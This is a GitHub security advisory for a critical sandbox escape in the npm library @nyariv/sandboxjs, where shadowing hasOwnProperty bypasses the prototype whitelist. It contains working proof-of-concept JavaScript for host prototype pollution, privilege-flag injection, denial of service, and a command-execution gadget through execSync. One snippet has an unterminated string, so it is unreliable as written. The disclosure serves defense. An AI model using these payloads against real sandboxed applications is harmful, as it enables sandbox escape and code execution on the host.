GitHub Advisoryadvisory · npm
GHSA-jjpw-65fv-8g48 @nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
CRITICAL
Official page ↗
- Aliases
- CVE-2026-25586
- Ecosystem
- npm
- Packages
- @nyariv/sandboxjs
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-74
- Reviewed
- 2026-02-05
Affected packages
• npm @nyariv/sandboxjs: < 0.8.29 → fixed in 0.8.29
Description
Summary
A sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling host `Object.prototype` pollution and persistent cross-sandbox impact.
The issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.
Root Cause
`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.
• src/executor.ts:348 `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`
• src/executor.ts:367-399 prototype whitelist enforcement only happens when `prototypeAccess` is true.
• src/executor.ts:220-233 mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.
Proofs of Concept
`node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`
`node node_modules/rollup/dist/bin/rollup -c`
Runtime target: `dist/node/Sandbox.js`
### Baseline: `__proto__` blocked without bypass
```js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
```
Prototype whitelist bypass -> host `Object.prototype` pollution
```js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
```
Logic bypass via prototype pollution
```js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
```
DoS by overriding `Object.prototype.toString`
```js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
```
RCE via host gadget (prototype pollution -> `execSync`)
```js
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.cmd = 'id;
return 'ok';
`)().run();
const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
```
Additional Finding : Prototype mutation via intermediate reference
This does not require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.
Mutate `Array.prototype.filter` without bypass
```js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();
console.log('host filter', [1,2].filter);
```
Output:
```
host filter 1
```
Related
Alias · CVE (1)
- CVE-2026-25586 SandboxJS is a JavaScript sandboxing library. vulnerability
Weakness · CWE (1)
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness